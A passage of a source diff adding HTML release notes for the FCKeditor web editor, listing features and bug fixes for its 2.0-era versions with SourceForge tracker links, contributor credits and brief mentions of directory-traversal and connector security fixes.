+                       BUG-1157780</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229077&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1229077</a>] Weird comments are now handled correctly (ignored on some cases).
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155774&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1155774</a>] A spelling error in the Bulleted List Properties dialog has been
+                       corrected. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1272018&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1272018</a>] The ampersand character can now be added from the Special Chars
+                       dialog. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1263161&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1263161</a>] A small fix has been applied to the sampleposteddata.php file.
+                       Thanks to Mike Wallace. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1241504&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1241504</a>] The editor now looks also for the ID of the hidden linked field.
+               </li>
+               <li>The caption property on tables is now working on Gecko. Thanks to Helen Somers (Goss
+                       Interactive Ltd). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1297431&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1297431</a>] With IE, the editor now works locally when its files are placed
+                       in a directory path that contains spaces. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1279551&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1279551</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1242105&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1242105</a>] On IE, some features are dependant of ActiveX components (secure...
+                       distributed&nbsp;with IE itself). Some security setting could avoid the usage of
+                       those components and the editor would stop working. Now a message is shown, indicating
+                       the use the minimum necessary settings need&nbsp;by the editor to run. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1298880&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1298880</a>] Firefox can't handle the STRONG and EM tags. Those tags are now
+                       converted to B and I so it works accordingly. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1271723&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1271723</a>] On IE, it is now possible to select the text and work correctly
+                       in the contents of absolute positioned/dimensioned divs. </li>
+               <li>On IE, there is no need to click twice in the editor to&nbsp;activate the cursor
+                       in the editing area. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1221621&amp;group_id=75348">SF
+                       BUG-1221621</a>] Many &quot;warnings&quot; in the Firefox console are not thrown
+                       anymore. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1295526&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1295526</a>] While&nbsp;editing on &quot;FullPage&quot; mode the basehref is
+                       now active for CSS &quot;link&quot; tags. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1222584&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1222584</a>] A small fix to the PHP connector has been applied. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1281313&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1281313</a>] A few small changes to avoid problems with Plone. Thanks to Jean-mat.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1275911&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1275911</a>] A check for double dots sequences on directory names on creation
+                       has been introduced to the PHP and ASP connectors.</li>
+       </ul>
+       <h3>
+               Version 2.0</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The&nbsp;new &quot;<strong>Flash</strong>&quot; command is available. Now you can
+                       easily handle Flash content, over IE and Gecko, including server browser integration
+                       and context menu support. Due to limitations of the browsers, it is not possible
+                       to see the preview of the movie while editing, so a nice &quot;placeholder&quot;
+                       is used instead. * </li>
+               <li>A&nbsp;&quot;<strong>Quick Upload</strong> &quot; option is now available in the
+                       link, image and flash dialog windows, so the user don't need to go (or have) the
+                       File Browser for this operations. The ASP and PHP uploader&nbsp;are included.&nbsp;Take
+                       a look at the configuration file.*** </li>
+               <li>Added support for <strong>Active FoxPro Pages</strong> . Thanks to our new developer,
+                       S&ouml;nke Freitag. </li>
+               <li>It is now possible to <strong>disable the size handles</strong> for images and tables
+                       (IE only feature). Take a look at the DisableImageHandles and DisableTableHandles
+                       configuration options. </li>
+               <li>The handles on form fields&nbsp;(small squares around them) and the inline editing
+                       of&nbsp;its contents&nbsp;have been disabled. This makes it easier to users to use
+                       the controls. </li>
+               <li>A much better support for Word pasting operations has been introduced. Now it uses
+                       a dialog box, in this way we have better results and more control.** </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225372&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1225372</a>] A small change has been done to the PHP integration file. The
+                       generic __construct constructor has been added for better PHP 5 sub-classing&nbsp;compatibility
+                       (backward compatible). Thanks to Marcus Bointon.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>ATTENTION: Some security changes have been made to the connectors. Now you must
+                       explicitly enable the connector you want to use. Please test your application before
+                       deploying this update. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1211591">SF
+                       BUG-1211591</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1204273&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1204273</a>] The connectors have been changed so it is not possible to use
+                       &quot;..&quot; on directory names. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219734&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1219734</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219728&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1219728</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1208654&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1208654</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205442&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1205442</a>] There was an error in the page unload on some cases
+                       that has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1209708">SF
+                       BUG-1209708</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1214125">SF
+                               BUG-1214125</a>] The undo on IE is now working correctly when the user starts
+                       typing. </li>
+               <li>The preview now loads &quot;Full Page&quot; editing correctly. It also uses the
+                       same XHTML code produced by the final output. </li>
+               <li>The &quot;Templates&quot; dialog was not working on some very specific (and strange)
+                       occasions over IE. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1199631&amp;group_id=75348">SF
+                       BUG-1199631</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1171944&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1171944</a>] A new option is available to avoid a bad IE behavior that shows
+                       the horizontal scrollbar even when not needed. You can now force the vertical scrollbar
+                       to be always visible. Just set the &quot;IEForceVScroll&quot; configuration option
+                       to &quot;true&quot;. Thanks to Grant Bartlett. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212026&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1212026</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228860&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1228860</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1211775&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1211775</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1199824">SF
+                                               BUG-1199824</a>] An error in the Packager has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1163669">SF
+                       BUG-1163669</a>] The XHTML processor now adds a space before the closing slash of
+                       tags that don't have a closing tag, like &lt;br /&gt;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1213733&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1213733</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1216866&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1216866</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1209673&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1209673</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155454&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1155454</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1187936&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1187936</a> ]&nbsp;Now, on Gecko, the source is opened in a
+                       dialog window to avoid fatal errors (Gecko bugs). </li>
+               <li>Some pages have been changed to avoid importing errors on Plone. Thanks to Arthur
+                       Kalmenson. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1171606&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1171606</a>] There&nbsp;is a bug on IE that makes the editor to not work if
+                       the instance name matches a meta tag name. Fixed. </li>
+               <li>On Firefox, the source code is now opened in a dialog box, to avoid error on pages
+                       with more than one editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225703&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1225703</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1214941&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1214941</a>] The &quot;ForcePasteAsPlainText&quot; configuration option
+                       is now working correctly on Gecko browsers. Thanks to Manuel Polo. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228836&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1228836</a>] The &quot;Show Table Borders&quot; feature is now working on Gecko
+                       browsers. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212529&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1212529</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212517&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1212517</a>] The default File Browser now accepts connectors with querystring
+                       parameters (with &quot;?&quot;). Thanks to Tomas Jucius. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1233318&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1233318</a>] A JavaScript error thrown when using the Print command has been
+                       fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229696&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1229696</a>] A regular expression has been escaped to avoid problems when opening
+                       the code in some editors. It has been moved to a&nbsp;dialog window. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1231978&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1231978</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228939&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1228939</a>] The Preview window is now using the Content Type and Base href.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1232056&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1232056</a>] The&nbsp;anchor icon is now working correctly on IE. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1232056&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1202468</a>] The anchor icon is now available on Gecko too. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1236279&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1236279</a>] A security warning has been corrected when using the File Browser
+                       over HTTPS. </li>
+               <li>The ASP implementation now avoid errors when setting the editor value to null values.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1237359&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1237359</a>] The trailing &lt;BR&gt; added by Gecko at the end of the source
+                       is now removed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1170828">SF
+                       BUG-1170828</a>] No more &amp;nbsp; is added to the source when using the &quot;New
+                       Page&quot; button. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1165264&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1165264</a>] A&nbsp;new configuration option has been included to force the
+                       editor to ignore empty paragraph values&nbsp;(&lt;p&gt;&amp;nbsp;&lt;/p&gt;), returning
+                       empty (&quot;&quot;). </li>
+               <li>No more &amp;nbsp; is added when creating a table or adding columns, rows or cells.
+               </li>
+               <li>The &lt;TD&gt; tags are now included in the FillEmptyBlocks configuration handling.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1224829&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1224829</a>] A small bug in the &quot;Find&quot; dialog has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1221307&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1221307</a>] A small bug in the &quot;Image&quot; dialog has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219981&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1219981</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155726&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1155726</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1178473&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1178473</a>] It is handling the &lt;FORM&gt;, &lt;TEXTAREA&gt; and &lt;SELECT&gt;
+                       tags &quot;name&quot; attribute correctly. Thanks to thc33. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205403&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1205403</a>] The checkbox and radio button values are now handled correctly
+                       in their dialog windows. Thanks to thc33. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1236626&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1236626</a>] The toolbar now doesn't need to collapse when unloading the page
+                       (IE only). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212559&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1212559</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1017231&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1017231</a>] The &quot;Save&quot; button now calls the &quot;onsubmit&quot;
+                       event before posting the form. The submit can be cancelled if the onsubmit returns
+                       &quot;false&quot;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1215823&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1215823</a>] The editor now works correctly on Firefox if it values is set to
+                       &quot;&lt;p&gt;&lt;/p&gt;&quot;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1217546&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1217546</a>] No error is thrown when &quot;pasting as plain text&quot; and no
+                       text is available for pasting (as an image for example). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1207031&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1207031</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1223978">SF
+                               BUG-1223978</a>] The context menu is now available in the source view. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1213871">SF
+                       BUG-1213871</a>] Undo has been added to table creation and table operation commands.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205211&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1205211</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229941&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1229941</a>] Small bug in the mcpuk file browser&nbsp;have been corrected.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.infineon.com/">
+                       Infineon Technologies AG</a>.<br />
+               ** This version has been partially sponsored by <a href="http://www.visualsoft.co.uk">
+                       Visualsoft</a> <a href="http://www.visualsoft.co.uk/websolutions.html">Web Solutions</a>.<br />
+               *** This version has been partially sponsored by <a target="_blank" href="http://www.webcrossing.com">
+                       Web Crossing, Inc</a>.</p>
+       <h3>
+               Version 2.0&nbsp;FC (Final Candidate)</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>A new tab called &quot;<strong>Link</strong>&quot; is available in the<strong> Image
+                       Dialog</strong> window. In this way you can insert or modify the image link directly
+                       from that dialog.* </li>
+               <li>The new &quot;<strong>Templates</strong>&quot; command is now available. Now the
+                       user can select from a list of pre-build HTML and fill the editor with it. Take
+                       a look at the &quot;_docs&quot; for more info.** </li>
+               <li>The <a target="_blank" href="http://mcpuk.net/fbxp/">mcpuk's</a> File Browser for
+                       PHP has been included in the package. He became the official developer of the File
+                       Manager for FCKeditor, so we can expect good news in the future. </li>
+               <li>New configuration options are available to <strong>hide tabs</strong> from the <strong>
+                       Image</strong> Dialog&nbsp;and <strong>Link</strong> Dialog windows: LinkDlgHideTarget,
+                       LinkDlgHideAdvanced, ImageDlgHideLink and ImageDlgHideAdvanced. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1189442&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1189442</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1187164&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1187164</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185905&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1185905</a>] It is now possible to configure the editor to <strong>not convert Greek</strong>
+                       or special&nbsp;<strong>Latin </strong>letters to ther specific HTML entities. You
+                       can also configure it to not convert any character at all. Take a look at the &quot;ProcessHTMLEntities&quot;,
+                       &quot;IncludeLatinEntities&quot; and &quot;IncludeGreekEntities&quot; configuration
+                       options. </li>
+               <li>New language files are available:
+                       <ul>
+                               <li><strong>Basque</strong> (by Ibon Igartua) </li>
+                               <li><strong>English (Australia / United Kingdom)</strong> (by Christopher Dawes) </li>
+                               <li><strong>Ukrainian</strong> (by Alexander Pervak)</li>
+                       </ul>
+               </li>
+               <li>The version and date information have been removed from the files headers to avoid
+                       unecessary diffs in source control systems when new versions are released (from
+                       now on). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1159854&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1159854</a>] Ther HTML output rendered by the server side integration files
+                       are now XHTML compatible. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181823&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181823</a>] It is now possible to set the desired DOCTYPE to use when edit
+                       HTML fragments (not in Full Page mode). </li>
+               <li>There is now an optional way to implement different &quot;mouse over&quot; effects
+                       to the buttons when they are &quot;on&quot; of &quot;off&quot;.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162200&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162200</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1161633&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1161633</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1050293&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1050293</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1058948&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1058948</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1109120&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1109120</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155408&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1155408</a>] The IE memory leak bug has been solved. The
+                       code has been completely reviewed and many memory usage improvements have been done.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1179645&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1179645</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1183252&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1183252</a> ] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166779&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1181647</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155627&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1155627</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155782&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1155782</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155750&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1155750</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157166&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1157166</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157857&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1157857</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1158121&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1158121</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1177153&amp;group_id=75348&amp;atid=543653">SF
+                                                                                               BUG-1177153</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1175847&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-1175847</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155747&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                               BUG-1155747</a>] There was a loading
+                       problem in Gecko browsers in some cases. It has been solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1161147&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1161147</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157635&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1157635</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149805&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1149805</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124600&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1124600</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1117535&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1117535</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1118145&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1118145</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098113&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1098113</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092272&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1092272</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086416&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1086416</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1027952&amp;group_id=75348&amp;atid=543653">SF
+                                                                                               BUG-1027952</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=978441&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-978441</a> ] A custom Undo/Redo system
+                       has been implemented for IE. </li>
+               <li>The editor startup execution is now made in the right order (so configurations override
+                       works correctly). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1166779</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166651&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1166651</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1066198&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1066198</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090388&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1090388</a> ]&nbsp;No more &quot;illegible&quot; characters in the
+                       toolbar when &quot;ClearType&quot; is active. </li>
+               <li>It is now possible to set the &quot;width&quot; style of the BODY tag in the EditorAreaCSS
+                       to limit the editing area size. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1113620&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1113620</a>] In IE, the editor doesn't generate new entries in the browser history
+                       anymore. </li>
+               <li>The editor now uses the same method used on version RC2 to load its contents on
+                       Gecko. It is now possible to have more than one editor in the page. This change
+                       has a negative impact: the BaseHref property is not working. </li>
+               <li>Changes have been made to make the editor work with PHP versions&nbsp;older than&nbsp;2.1.0.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1190835&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1190835</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1196547&amp;group_id=75348">SF
+                               BUG-1196547</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156863&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1156863</a>] The &quot;Insert Horizontal Line&quot; command is now working
+                       correctly. Thanks to Hector Raul Colonia Coral. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101861&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1101861</a>] The editor now shows a normal textarea correctly (as expected)
+                       on Safari browsers (and all &quot;like Gecko&quot; browsers). Thanks to Bob Paul.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1182224&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1182224</a>] The PHP connector can now handle file extensions in upper case,&nbsp;like
+                       JPG or Gif, correctly. Thanks to Georg Ivancsic. </li>
+               <li>The &quot;sample06.html&quot; is now working correctly with Gecko browsers. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156660&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1156660</a>] Some fixes have been applied to the Universal Keyboard. Thanks
+                       to Abdul-Aziz Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1192881&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1192881</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185006&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1185006</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156068&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1156068</a>] The &quot;Browse Server&quot; button is now working correctly
+                       for the Background Image in the &quot;Document Properties&quot; dialog window (full
+                       page editing). The active &quot;BaseHref&quot; is also set to the preview window.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1191704&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1191704</a>] Invalid HTML tags (according to the W3C naming standards for XHTML)
+                       are ignored with no errors. </li>
